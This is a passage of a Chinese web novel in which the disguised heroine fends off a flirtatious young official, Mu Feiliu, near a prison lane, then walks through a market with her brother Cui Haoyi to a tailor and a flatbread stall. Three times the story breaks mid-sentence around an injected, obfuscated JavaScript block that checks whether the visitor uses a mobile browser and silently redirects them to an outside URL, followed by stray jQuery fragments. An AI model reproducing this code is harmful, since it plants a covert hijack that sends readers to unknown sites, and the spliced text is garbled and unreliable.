顶着静默的尴尬,“崔清婉”极为迅速地打量了对方几眼。
官服为竹柳色,与她近些日见过的人都不同。
想必这男子品级不高,但见他全身白净整洁,就连吃起食物来也是斯文认真,十分有教养,也绝不是栖凤城中寻常可见的官差小吏……
还有就是,那徐徐升腾着热气儿的暖白谷物饼上点缀着大小不一的块状栗色焦面儿,饼间是一层夹裹着一层的满实馅料,碎末儿的肉馅肥瘦相间。
再杂以香料菜蔬,看上去质地丰富,想来入口软烂、焦酥咸香。
嘤,一会儿一定要找云岫去买这个叫什么“篓子”的食物……啊……云岫你快回来吧……我好饿啊……
一扫方才的恶心作呕,此时初觉饥饿的“崔清婉”只能在内心痛哭。
但她面上还装着无辜入巷的懵懂,她甚至以一种极轻微的方式来偷偷吞咽口水,绝不让人发现她是个大馋丫头。
明明看得认真,但“崔清婉”还是没反应过来对方是在何时开始吃的第二份。
总之,在最后一块油酥生脆的胡饼被咀嚼吞咽后,只见这纤然男子将用来打包胡饼的草纸折了几下,随后便将其塞到后腰系挂着的小囊袋之中。
“娘子何必说谎呢?其实我很明白的。”
慢条斯理,男子一边说着,一边从袖间抽出汗巾,开始仔细地擦拭嘴角与手指几近于无的残渍。
这般问话简直和当日苏醒后经受崔皓月的诈哄一模一样,还好先前经历已为她积攒了经验,于是“崔清婉”继续选择以重复对方最后一句话的方式回问。
“你明白了什么?”
擦拭完毕,男子收起汗巾,再度抬眸看向“崔清婉”时,他面上添了几分沉重。
“此地阴暗逼仄,收押之人无一不是烧杀抢掠的恶徒,常人对此多是避让不及,但娘子一反其道,非得在此等候,甚至连个食宿都没着落,若说娘子未有图谋,在下是不信的。”
见对方目光坚定,“崔清婉”硬着头皮继续发问:“所以,你认为我图谋什么?”
“如此巷道,若有图谋,必然是年少有为、玉树临风,惹得邻女窥墙的在下了!”
莫名其妙的进展,“崔清婉”一整个黑人问号脸,她歪着脑袋睁大双眼:“啊?”
“娘子不必羞涩!”
男子抬手亮出纤细白皙的手指,一把止住了她的疑问。
“娘子心意我已了解,方才娘子言语细弱,但我双耳灵敏,听得娘子提及我尚未成婚一事,可见娘子连我底细都已摸清。”
“一定是娘子对我芳心暗许,而后不远千里随我返回皇都,只是盘缠用尽,唯有到我新任命的地方蹲守我,以便传达心意!”
“娘子勇于追爱,胆识过人,在下敬佩!”
这人越说越起劲,甚至情绪高涨处,还朝“崔清婉”拱拱手以示敬意。就在“崔清婉”想要打断对方开口解释时,忽见这人惋惜叹气,面露为难。
“不过如此行为,终是不妥,婚姻大事并非一厢情愿便可,我受师父恩典,娘子相许,我总得问过师父才行,我师父他——”
初见时,只觉这人鹤骨松姿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961019|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,自有一番气度,又受他关怀几句,“崔清婉”理所应当地心生好感。
可当他开始自顾自地高谈阔论,昨日遭人诬陷的各种不快便再度浮现心头。
“崔清婉”有些气躁地阻止对方发癔症般的畅想,但没留神,口中竟还蹦出几句外语——
“停!停!STOP! ”
男子一愣,不解之意在细目中缓缓流淌,茫然神色让他多了丝少年气儿,意外地让“崔清婉”幻视成崔皓月那小子。
这样一来,“崔清婉”才冒起的怒火儿也降下去半截。
“呼……小郎君你确实一表人才,如今虽身着绿衣,但年纪尚小,想必未来能大有作为,定可平步青云。”
“但实在遗憾,今日前来我并非为见小郎君,我并不识得郎君,只是有朋友之弟身陷囹圄,想要为他送些吃食罢了。”
一字一句皆是诚恳,竹衣男子思索着垂下眸子,似乎是对自己的判断产生了动摇,可当他视线缓缓下落,发觉眼前女子两手空空时,他又猛地抬起头来。
“娘子。”
男子拧起眉头,灵秀面上露出一丝说不清是为难还是羞涩的扭捏神色。
“我知女子向来脸薄,娘子被我直言戳破,若有气恼想要撇清也是应该。不过我还是想要娘子知道,其实我不反感娘子大胆行为,相反,我很是欣赏娘子。”
“呃……谢谢夸奖?”
面对男子突然变得恭谦夸赞的语气,“崔清婉”一愣,下意识就礼貌回复。
只是没想到这鲤泮人都是欲扬先抑的好手,对方紧接着便是一句她意想不到的惊世骇俗之言。
“所以我也心仪娘子!如若师父不同意,我便收拾自己的私房钱与娘子私奔,我们不必问过师父——”
“嘶——拜托!!!”
“崔清婉”气恼地跺脚,竭力克制住想要捂实对方嘴巴的冲动,她小跨半步,然后咬牙切齿地打断对方说话。
“都说了我不认识你!难道你身为朝中官员,也要当街调戏良家妇女吗?!”
“啊?”
男子一怔,无奈叹气后垂下双肩,两道柳刃眉也不似方才般灵动潇洒,肉眼可见地丧了气。
“原来娘子已有婚嫁,是你我有缘无分,方才实在抱歉,是我唐突了。”
嘶,这副低头认错的架势竟也像极了崔皓月,要不是“崔清婉”相信崔皓昌和崔清书的治家能力,她是真的会怀疑眼前男子是崔家流落在外的血脉。
“你可别下跪赔罪……啧,算了算了,反正也离了,算了。”
瞥到对方落寞甚至委屈的神色,她摇摇头敷衍地回了一句,随后踮起脚尖,不住地向巷子口看去。
许是饿得发慌,“崔清婉”自心底升起一股烦躁,且因对方只是言语炙热,行为上未见任何逾矩,所以她草草结束话题,不想在这种事儿上和男子有过多纠缠。
“离了?好事啊娘子——”
捕捉到关键信息的男子一挑柳眉,目光烁烁似乎还要开口,但“崔清婉”显然无心关注,只是一脸兴奋地打着招呼从他身边掠过了去。
37.矮墙柳
“云!咳嗯,我在这里!”
靛蓝裙角在石板路上漾起浪花,“崔清婉”谨慎地将称呼改了口。
毕竟是乔装出门,即便方才略显本性,但只要不承认自己是崔清婉,那这男子只能当她是个言行怪异的鲤泮人。
可现下除却隐去自己身份,云岫的身份也得隐去,总不能从云岫的名字被人顺藤摸瓜,最后揪出来吧?
“四娘!”
“崔清婉”的小心思多,可并不清楚发生了什么的云岫就顾不上了。
在接到自家娘子的眼神示意后,云岫也是一转眼瞥到那道竹柳色身影,她迟疑片刻,迅速接上了四娘子的话茬。
“丝娘,东西已经买好了,我们还是趁热送过去吧。”
“好!”
智商在线的队友果然令人欣慰,“崔清婉”笑着点点头,一把挽起云岫的臂弯,如此亲昵的动作,饶是云岫都有些身躯僵硬,何况那竹衣男子呢?
纤然白净的男子打量了她们一眼又一眼,面上越发惋惜委屈的神情让“崔清婉”都有些心生不忍,仿佛她真的做了什么,故意欺侮这位纯真率直的小青年。
“咳嗯,这位郎君,方才闲谈时曾听阁下提起,阁下是被调职于此?那郎君不如行个方便,带我们进去一趟?”
“阁下不必为难,我们只是送个吃食而已,并不坏规矩,自然也不会让阁下受到同僚的怨怼。”
“我,我,”男子结巴几声,随后声音极低地自语道,“密水的月老庙也是徒负虚名,什么天定的姻缘,分明就没有……”
“嗯?”
含糊不清的音节传到“崔清婉”耳中,她面上闪过一丝疑惑,略一思索后也觉得与自己无关,于是不太在意地开口。
“若是郎君不便也无妨,我们自己进去便可,就先告辞——”
“欸!娘子!”竹衣男子见她要走,忙是拱手作礼请留步。
云岫不解,在自家娘子与男子身上打量了一番:“这位郎君,可还有事?时辰不早了,我得与四——与丝娘早些把东西送过去。”
“这位娘子,并非在下无礼,只是牢狱臭气熏人,又有蛇虫,两位娘子实在不宜踏足那污糟地,不如将物件交给我,由我代为转交,也当是方才我唐突的赔罪。”
“赔罪?”
云岫更加疑惑了,她看向自家四娘,却发现对方抿着嘴轻轻摇着头,眸子一转,她开口说道。
“我家丝娘性情温和,能与郎君继续言语,想必也没有什么值得赔罪的事,若郎君能行个方便,带我们进去就好,若是不便,我们自己去求其他官差。”
“不,其实是我……”
话未说完,男子白皙纤秀的面上突地浮现一抹绯红,眼帘低垂,浓密的睫毛遮住细目,让人辨不清他的神色。
“还请娘子信我,我只是想帮那位娘子做点力所能及的事。”
虽然嘴角还挂着浅笑,但“崔清婉”的眉头可是越发扭曲颤动,她继续看向云岫,双目满斥拒绝地摇着头。
“嘿!”
不知为何,云岫这丫头突地笑出声,杏目滴溜溜地转了一圈,非常欣然地将包裹递上。
“那就有劳郎君了,请送到地字甲号房,哦,郎君不必担心认错,那处只有一名嫌犯。”
“别——”
忙着开口,可惜“崔清婉”还是没来得及阻止便被打断。
“好!请娘子务必放心,日后若还有需要,直接来找我便是,我一定代劳。”
接过包裹,竹衣男子还继续补充,而云岫面上笑意更浓,忙着点头道谢。
“好说,如此,多谢郎君关照了。”
云岫屈身行礼,又夸赞对方几句,而后她抬眼看看日头,面露歉意。
“真是不巧,已是这个时辰,我与丝娘还有诸多琐事要忙,就先告辞了。”
“这,”虽然想继续挽留,但显然男子也意识到不妥,他颔首垂目,语气很是有礼,“还请两位娘子慢走。”
窄巷拐角,矮墙遮挡日头所倾出的阴影已然缩水不少,云岫背着光冲对方笑着点点头,随后便半搀扶半护着地与“崔清婉”转身离开。
不知是不是无人遮挡的阳光太过晃眼,竹衣男子立在原地片刻,直到靛蓝色的裙角已从拐角处彻底退幕,他才回神转身朝牢狱的那处木门走去。
荒芜破败的灰墙向身后退去,“崔清婉”主仆二人再度向繁华热闹处走去,惹人厌烦的气味已被花草味与烟火气儿所替代,心神也渐渐松懈下来。
“云——”
见事情都已交代妥当,“崔清婉”下意识就要唤云岫的全名,但还好有理智紧拽警惕的缰绳,她立刻将声音压了下去。
回头瞧看,那拐角处并无男子身影,想来他已经离去,于是“崔清婉”这才放心地挽起云岫。
“好吧,既然东西都让他帮忙转交了,那我也就不多操心了。”
听到这般话语,云岫也随着自家四娘将目光自身后收回,她抬手将对方的帷帽整理摆顺,认可地点点头。
“四娘本就该少些思虑,有什么需要做的,尽管吩咐我们来办才是。”
“话是这么说,但是吧……”
“崔清婉”隔着帷帽瞧看乖顺体贴的云岫一眼,随后挑挑眉毛,轻叹一口气,再开口时便换了个话题。
“我不明白,方才你为何执意要将东西托付给那男子,明明我们也可以重返牢狱,找之前的那几名官差。”
“原来四娘是在意这个。”
云岫回想起方才那竹衣男子的神色,没忍住又是一声偷笑。
“四娘如今可不比往常敏锐,竟然连这点小心思也看不出来,不过也好,这样反而能少受些牵绊,往后这事嘛自然是水到渠成。”
“水到渠成?”
“崔清婉”皱起眉头,对突然打哑谜的云岫投去不解目光,可云岫只是眯起眼睛浅浅笑着,紧闭双唇就是不开口。
“不肯说罢了,反正也无伤大雅,说起来,你能有点自己的小心思也是好事,别总全身心地记挂我的事。”
听到这番评价,云岫忽地扯拽住她的衣袖,然后摇摇头:“四娘这话不对,云岫必须满心满眼地记挂四娘,这是我的本分。”
“这不是你的本分,你不该负有这种——”
察觉到想要掰扯人格平等的念头,“崔清婉”赶紧约束自己闭起嘴巴,她轻咬下唇,转眸思索一瞬,又换了个话题。
“算了,我们还是快些走吧,早膳未食,现在我好饿啊,我们一会儿去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965449|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃那个叫什么‘篓子’的食物好不好?方才我瞧见那位郎君在吃,感觉香味很是诱人。”
“原来是四娘动了食欲,不过什么是‘篓子’,这是什么美食?”
云岫疑惑皱眉,随即想到什么,眉头又舒展开来。
“噢!四娘是想说古楼子吧?好,我们这就去。”
“嘿嘿,你最好了!”
终于就一话题达到相同意见,“崔清婉”也放松地浅笑开来,她的帷帽向身旁侍女的双螺髻微微倾斜,凑在一起又窃窃私语了几句。
若不是云岫被挽着的胳膊实在僵硬,只怕谁见了也觉得是一对关系甚好的闺中密友。
“喂——娘子也要买古楼子吗——”
!
隔着墙头突然遥遥传来一声询问,吓得“崔清婉”身躯一震,仔细分辨,这分明是方才那竹衣男子的嗓音。
可不对啊,明明他已向牢狱处走去,而自己与云岫已自拐角处行了数十步,甚至她为防隔墙之耳还刻意压低了说话声音,怎么就能被他听见?
还如此听得真切?莫非世上真有如此灵敏的耳朵?
显然说话人未顾及是否会惊吓到“崔清婉”,嗓门颇大的叫喊隔还在不断传来。
“娘子若买古楼子,记得去巷子出口左拐第三家赵伯的铺子——报我的名号,能削价五文——”
不仅被听到与侍女的私密之语,还被遥遥嘱托,“崔清婉”只觉得尴尬像股暖流从头灌下,烫得脚下步子都快了几分。
“四娘,别急啊。”
云岫虽然在劝告,可“崔清婉”亲眼看到这丫头的嘴角一直翘起,神色十分愉悦。
“嘘”
比了个噤声的手势,“崔清婉”牵起云岫的手便要离开。
“娘子——莫忘记——我的名号——”
四下虽没有路人,但这呼喊也不能一直不停啊,她可经不住这样的招数。
极其心烦意乱,“崔清婉”脚下的步伐越走越紧,直到临近巷口时,她终于忍不住回了一句——
“那你倒是说你叫什么啊!!”
“飞柳——穆飞柳——娘子记住了嗷——”
“知道了别再喊啦!!!”
简直是落荒而逃,在最后一声回应后,茶色身影携着侍女迅速闪出巷子,仿佛这样就能证明她们与巷中的叫喊毫无关系。
狭窄弯曲的巷道再度归于寂静,此时拐角处才隐秘地显现出一道竹柳色身影。
枯藤缠攀灰墙,几只不识趣儿的雀儿盘旋了一圈又一圈,终究是没有下落,飞走了。
穆飞柳站在原地,一袭竹色衣衫成为寂静巷子间最亮眼的生机,他那双清冷细目远远眺望,却不沾染率真分毫。
确保佳人离开后,他才长眉一挑,但半眯的眸中神采烁烁,显然是心情上好。
“崔家,清婉……呵……”
情不自禁地呢喃,迅速回过神的穆飞柳为自己方才的失神不免讶然,似乎回想起什么,他突地勾起嘴角一声轻笑,细目中的兴奋愈加闪烁。
又是几只雀儿掠过狭窄上空,他这才垂下眼帘将眸底的晦涩情愫小心深藏,掂掂手中要转交的物件儿,他再度恢复成刚入巷子时的无害模样,坦然向牢狱木门后的世界走去。
38.碰巧
刚与巷中人结束对话,“崔清婉”尴尬又羞恼地低着头从巷子里冲了出来,哪成想碰巧的事是一桩接着一桩,一个不留神她便与旁人撞了个满怀。
“欸!四娘!”
本还一路偷笑的云岫忙不迭地护上前去检查她有无受伤,帷帽已然撞歪,薄透的轻纱掠过她的脸颊,隐隐勾勒出姣好面庞。
“崔清婉”将帷帽扶正,伸进手去揉了揉自己的鼻尖,而后摆摆手。
“抱歉,是我走得太急——”
不想出现传统影视剧中侍女不分青红皂白便要指责呛声路人的动静儿,“崔清婉”决定自己先开口道歉,只是话未说完,便被打断。
“有没有撞到哪里?怪我不留神,没注意你从巷子里出来。”
温和的嗓音传来,“崔清婉”下意识抬眼看去,恍然失神——蜂腰猿背、丰神俊朗,双眸依旧明澄如泉,他带着初见时的愁绪却让人倍感意外地出现在此处。
“崔皓——好痛!”
突兀地改了音节,似乎有些欲盖弥彰,何况相较方才,她此刻的声音虽然不大,但听上去却多了一丝娇嗔,如此动静弄得“崔清婉”本人都不好意思地垂下眼去。
“呃,三哥怎么会到这儿来?”
微微颔首,帷帽的薄纱悠悠垂下,一缕清风袭来,撞得纱面上波浪迭起。
“崔清婉”只求身边人千万别在意她刚刚的语调,若是有人不识趣儿地问上一嘴,她只怕是要“以头抢地尔”。
“今日轮换值守,我本打算早些回府,但裴兄掐准时间把我拦在皇城外,又将昨日之事尽皆告知于我,匆忙回府后,我一时寻不到阿婉,稍加思索,便向此处赶来。”
灿灿日华在那健硕身躯外镶了一道金边,随着他俯身言语,几件金属制的衣饰又把这暖金色折返到身前人薄透的纱帘上。
见此,崔皓羿的神情又柔和了些,眉间少了几丝愁绪。
“果然,你在这里。”
“呵呵,”干笑两声,“崔清婉”抬起头来,讨好似的开口,“既然三哥哥都寻到我,那我们就回府吧?”
听罢她的提议,崔皓羿目光一垂,随后露出宽慰的笑容。
“也不急于一时,总归阿婉衣着简朴、低调示人,即便在外逛逛也无伤大雅。况且我行动匆忙,此刻倍感饥饿,不知阿婉能否赏光,与为兄在这市集中一同进食早膳?”
不急着回府!还能在集市中买吃食!好好好,美食果然与我有缘!
被邀请着同逛集市的“崔清婉”一想到她可以品尝古楼子,瞬间心情大好。
她边点头边笑吟吟地看向崔皓羿,四目相对时,她才发现对方眼底那份名为成全的包容之意。
天!他不会听到刚才巷子里的动静了吧!
“崔清婉”只觉得双颊腾地一下发起烫来,但她故作镇定,仍旧盯着对方没移开目光。
心底却是一边尴尬一边庆幸,还好余光里没看到他的贴身随从,不然她一定羞得想要闪回到巷子里。
“另外,我知昨日之事阿婉不愿声张,只告知三姐、阿月,可这毕竟不是小事,恐怕今日朝堂之上便会有官员议论,而兄长们得知必然也会有所行动。”
“不过阿婉放心,曲乐师之事我已拜托法曹旧识,必不会让他吃苦头,且京兆府开堂会审时有裴兄作证,想必很快就能得到解决。”
日头一旦越过屋檐,只会升得越来越快,眼见着打在帷帽纱帘上的阳光愈加刺眼,崔皓羿向旁侧挪了半步,为眼前人提供了足以笼罩全身的荫蔽。
“只是虽已托人帮忙,可我还得借此机会向阿婉道个歉。”
“我明知阿婉昨日受了那样大的委屈,但接下来我却没办法守在阿婉身边与你一同解决,只因明日一早我就得出城,近些日子也不在皇都之内。”
其实你一换班就能做这么多事,已经很棒啦……
心中默默夸赞一句,“崔清婉”面上却不动声色,她小心翼翼地将隔在二人之间的纱帘掀开了一条缝隙,目光四下一扫,发现无人在意。
于是她胆子稍微大了些,将整个帘子搭在帽檐上,透了口气。
“所以是为什么要出城?是有差事?要去多久?”
通往东市牢狱的巷口虽靠近集市,但并不归属于集市之内,故而此处只有寥寥几人路过,他们二人站在一旁对话,也并不惹眼。
一番言辞下来,崔皓羿态度真挚谦卑,所以“崔清婉”也不会生什么“你把我带到此处就该对我负全部责任”的气。
她是个很务实的人,既然对方已经安排妥当,那也没什么好埋怨的。
况且她还很在意另一件事,那就是对方突然决定的出城——崔皓羿会不会亲自寻那个真人?
在自己醒后不过半月时间里,发生了这样多针对她的事,虽然好似都化险为夷,但她属实是心累,她真的很需要一点好消息来振奋振奋精神。
“少则十天,多则一月。”
低声细语间,崔皓羿顺便直起腰身,他做了个请让的手势,边引着“崔清婉”朝集市方向走去,边留心不时经过的行人。
“圣人差遣,命我与鸿胪寺少卿同行,领二百人使团前去迎接麟华长公主回京。”
“二百人使团?迎接麟华长公主?”
听闻如此大的排场,“崔清婉”不由得一怔,随即她忙是快走几步,直到与崔皓羿并肩齐行,她才偷偷伸手招呼云岫跟上来。
“是,长公主于年初动身到东都为国祈福,至今已有八十一天,而今回京,圣人颇为重视。”
许是之前的动作太过亲昵,此刻当着自家三郎君的面儿,云岫恭顺地跟在二人身后,面对“崔清婉”的招呼,她也只是轻微摇摇头随即便垂下眼去。
身边人因无奈而撇嘴侧目的动作自然被崔皓羿尽收眼底,不过他并未对此作出反应,他只是边走边向不远处眺看几眼。
“我记得是……巷子出口左拐第三家……”
!
本因阶级现状而感到无奈的“崔清婉”还来不及抒发内心的感时伤怀,瞬时便被崔皓羿的这声嘟囔弄得一怔,她尴尬地攥紧衣裙,努力克制想要捂脸逃跑的冲动。
天呐!怎么这里的人听觉都这么好,难道他们全是六耳猕猴进化来的吗?!
“呃,目标如此明确吗?反正市集中美食众多,不如……我们随便吃点儿?”
干巴巴挤出一句话,“崔清婉”硬着头皮装出一副什么都不知道的寻常模样。
听闻她言语中的试探,崔皓羿侧过头来盯看她几眼,见到她的无辜神情后,仿佛模仿她似的,崔皓羿露出同样不明所以的茫然懵懂,对视不过片刻,又是温和一笑。
“也好,一切都随阿婉心意,不过在这之前,还得委屈阿婉随我去一趟衣肆。”
“衣肆?”
“崔清婉”眨眨眼,这次她是真不懂了。
见她如此神色,崔皓羿轻声解释道。
“此事说来惭愧,我职属羽林卫,素日里多是甲胄在身,年前皇家祭祀时我初觉织染署所制朝服略显紧束,但恰逢年关,巡防任务繁重,一忙乱,便将改裁之事搁置脑后。”
“可此番迎接长公主回京,隆重盛大,出行者于仪式上皆得身着朝服。”
“昨日受圣人钦点,我才恍然惊觉,只好命家仆连夜将衣裳送到衣肆,待今日一早前去重量身形,托缝人尽快赶裁出来……”
寥寥几句,前因后果倒是交代得仔细,“崔清婉”听罢暂且松了口气,如此看来,方才崔皓羿所言或许只是凑巧。
“那怎么不去大衣行?之前云岫有和我提起过,说东市有间‘我’常去的店家,做工精良,叫什么……‘艳绮罗’?对!是‘艳绮罗’!”
她向后侧歪歪身子,目光冲着崔皓羿迅速打量了一眼,转而询问道。
“而且就算不去此处,那上次我们没去成的‘绣罗裳’呢?这两家应当是东市间最负盛名的铺子吧?”
“娘子……阿婉所言甚是。”
下意识的称谓让崔皓羿一愣神,他慌忙改口,和见面时直呼他姓名的“崔清婉”一个神情。
果
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971556|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然,即便面前之人还是自己胞妹的身躯,但只要攀谈起来,他总是很自然地将对方从自己胞妹的身份中抽离出来,措辞也略显客气疏离。
“只是大衣行专营女子华服,虽说也可改裁旧衣,可我毕竟是一男子,若唐突而去,惊扰到在店试衣的女儿家,岂不有失礼数?”
“噢,是哦。”
闷声一语,“崔清婉”沉默下来,虽然潜意识中还想辩驳几句“试衣在后院屋子又不会撞见”之类的话,但想想还是作罢。
拜托,这是古代吔,就别那么爱抬杠了嗷。
在心中恳求自己几声,她长舒口气看向越来越近的铺子——
比起坊巷间鳞次栉比的布局,集市上的铺子却是大小不一、装饰各异,甚至连主营的项目都是千差万别,但远远观望,整体布局错落有致,倒别有一番韵味。
眼见着距离熙攘的人群越来越近,她抬手将帷帽上的纱帘再度放下,动作间,崔皓羿又朝她露出一丝浅笑。
“其实少了锦衣珠宝与众多侍从,我们走在人群中并不惹眼。”
意识到对方在宽慰自己的谨慎,她会意一笑:“三哥哥说得在理,但我昨日出了那样大的风头,如今还是避一避的好。”
“崔清婉”隐在纱帘下的眸子一转,怕对方因“风头”二字多想,忙是又转换话题。
“说起来,三哥哥今日竟来得及换下银甲,穿常服出行。莫非同我一样,也怕街坊们侧目相待?只是这衣色十分鲜亮,竟像是从阿月那儿借来的。”
极浓重的杏红色,许是布料原因,并不显得十分精细,反而有几分暗淡粗糙。
就此来看,这其实并不会是崔皓月的衣服,毕竟那位崔家的最小郎君,所有服饰皆是耀眼夺目、华贵异常。
而崔皓羿身上这件圆领袍衫,在布料上虽次一些,但又恰好契合他军人的气质,看上去很是沉稳。
最为点睛之笔的是单踞衣裳一侧,自他襟前蔓延至腰腹间的绣纹,精白色的丝线缀成栩栩如生的花簇枝叶,配上皮质扩腕与蹀躞带,让他气场干练之余,还多了几分平易近人的清爽。
听到夸赞,崔皓羿眸中显然闪过一丝欣喜,只是随即又被愁绪取代,垂目间满是落寞。
“这袍衫是我成婚前阿婉为我选下的,说是花纹吉祥,定能佑我寻到心之所向。”
“呃……虽然我不记得了,但是三哥哥一表人才、相貌堂堂,想必这衣服见证了不少三哥哥的得意时刻,就比如与三嫂嫂喜结连理,我想这衣服也出过几分功劳!”
脑子加速运行,全力支援嘴的输出,真了不得,在这个时代她的社恐竟也被“治愈”了一些,嘴皮子利索得像市集中为买卖双方牵线搭桥的牙人。
“崔清婉”还在心底给自己比着大拇指,却不想一瞥眼瞧见崔皓羿神色黯然,回了个并不算积极的笑容。
怎么个意思?我又说错话拍马蹄子上了?
察觉到崔皓羿情绪低落,她也噤了声,一时陷入沉默的气氛着实尴尬,“崔清婉”真想扬起巴掌给自己一下,再给对方一下。
好好的说这个干什么!多嘴!多嘴啊!
还有!你个大男人!怎么连点儿心事儿也藏不住!不是说好在人前演戏吗?你怎么净给我制造麻烦?
难道说今天只有云岫跟着,就不用装得这么彻底了?你倒是先说明白呀!
心理活动异常活跃,面上也是五彩纷呈,察觉到她神色异样,崔皓羿忙是打圆场地开口。
“往日已去,我不该沉溺悲伤,让阿婉心下也不痛快。如今阿婉已然回府,不如另寻个时间,再为我挑选一身衣裳可好?”
“欸!好说好说。”
既然对方有扭转话题的心思,她也顺坡下驴地客套几句。
“挑选衣裳又不是什么难事,比较难的是将要为三哥哥赶裁朝服的缝人,他才是时间紧迫,需要真本事呢。”
“阿婉所言甚是,”崔皓羿边说着边抬起头,扫看前方一眼后他停下脚步,忍不住轻笑了一声,“到了,哈,原来是这样的第三家。”
39.捉弄
循声看去,那是一整间的铺面,却因为中间竖起的木墙阻隔,硬生生拆成三七分的两间铺子。
而这被人为拆成的两间铺子,“崔清婉”只一打量,不禁哑然失笑——占七分铺面的是烟火缭绕的食肆,三分铺面的则是相对冷清的衣肆。
若按情理来讲,食肆旁边应当搭着茶汤摊,或者衣肆依着首饰店,可如今这个搭配,实在是突兀。
不过也好,既然是这样的布局,那恰好说明崔皓羿应当是没听到自己在巷中与那位穆飞柳的对话,之前言语只是巧合。
这样一想,“崔清婉”也算松了口气,心中郁闷消散不少,抬眼间,她看见崔皓羿正朝着衣肆的铺子走去,忙是迈步跟行,却不想对方回首制止了她的行动。
也是,对方一会儿可是要量身形,且在那样狭窄的铺子内,她若进去,必有诸多不便,于是“崔清婉”打消陪同的念头,与云岫一起候在衣肆前的不远处。
但干站着无聊,她又抬眼端详起这家约三人宽的窄长铺子。
门头处悬挂着绣有“许七针”字样的旗幌,纵然未凑近细看,但也能见这幌子的绣纹之繁复、绣法之多样,搭配上亮眼又不失和谐的色彩,足以说明这家缝人的高超技艺。
“崔清婉”心下也不由得赞叹:东市店铺多以奢大豪华抢眼,在这名不见经传的犄角旮旯,竟也有这般能人巧匠,实在是佩服。
再向铺内看去,一匹匹纹样俏丽的绢麻或裹起或摊开摆在台柜上,被当作门的木板已被拆下,搁置在角落边,一把手作的小矮凳紧靠在旁,前面是一把被支起的小小茶案,简朴而整洁。
店铺主人是位其貌不扬的瘦干小老头,他正气定神闲地喝着茶,见有人进来,他才从容地将手中茶盏放下,站起身来上前攀谈。
这店主老伯也是神奇,若说他店里冷清,可在他面上不见任何忧愁;若说他难得自在,但见他接待客人时又严肃认真,未有丝毫懈怠。
大概这就是能人巧匠的自信?
店家老伯的轻松姿态引得“崔清婉”莞尔一笑,她现下倒是起了几分好奇,目光不自觉便随着店家老伯来到那杏红色身影前。
似乎是交代几句说明来意,但此刻崔皓羿背对着她,她也无法辨识铺内二人究竟言语了什么,不过见老伯点头应允的模样,许是在核实身份。
随后她便瞧见店家老伯移步到台柜后,弯腰自台柜后取出一个厚本来,当老伯再度回到崔皓羿身前时,他那枯瘦沉稳的手中已抓握了一条量尺。
实话讲,这被分割来的三分铺面实在不便,且崔皓羿本就挺拔高大,此时站在靠近店门的一侧,全然将屋内的光掩尽了。
所以当店家将量尺环在崔皓羿胸前时,硬是仰着头凑近看了许久,也没读出量尺上的数儿。
意识到自己挡了光源,崔皓羿忙是侧过身去,为店家漏了一些日华进屋,可就在他一转身,那原本套好的量尺又松了开来。
店家见状,忙是将量尺拉紧些贴着待量的身躯,随后将条尺转了半圈,又缓缓地放松开来。
嗯……饱满,然后勒痕,接着复弹回去……
“崔清婉”挑着眉毛缓缓移开目光,装作若无其事地向四下乱瞟,可她心中却是止不住默念“罪过罪过”。
这个真是碰巧!她发誓!她不是那种贪图美色的人!
是心中羞愧难耐,还是说视线自身也意犹未尽?
总之她隐在纱帘下的眼睛滴溜溜地转来转去,愣是绕着衣肆的店面环了一圈又一圈,最后既没敢再往里看,也没舍得去观赏别的画面。
只是量身形,所以崔皓羿从衣肆里出来的速度也快,当“崔清婉”停留在这三分店铺外的视线捕捉到对方时,一声想要装作无事发生地叫喊便自然而然地传了出来。
“三哥——”
其实呼喊的声音并不大,但“崔清婉”急停下来也还是觉得噎得慌。
她紧咬下唇,拧起眉头看着本该向自己走来的崔皓羿在衣肆门前突兀地转个身,而后径直迈向隔壁铺子……
怎么回事!不是说先前之言只是巧合吗?现在又闹哪样啊!
心底开始抓狂,她原本放下的心再度吊了起来,最终“咯噔”一声,摔死了。
而与戛然而死的心相反,早先已被她强行埋葬的记忆又“噌”地一下从坟地里探出手爬了起来,甚至还当着她的面儿掸掸身上的泥土,紧接着来了个后空翻接托马斯全旋。
是了,崔皓羿绝对是故意的,他分明听到了巷子中她与穆飞柳的谈话。
那家做古楼子的铺子,是比衣肆略微宽松些,但铺面也堪堪只够五人并排站立,这不大的地方塞得满满当当。
面盆、案板、铁锅、土炉,制作胡饼的器具一应俱全,一位看上去比衣肆老伯略年轻却也有五十多岁的大伯正在屋里忙得热火朝天。
分明是不大的场所,寻常人进去绝对要磕磕碰碰,可这位大伯边观察炉子里的饼子边凑到案板前剁肉,时不时还能和几手面,顺道再与屋外等待着的三两食客交谈几句。
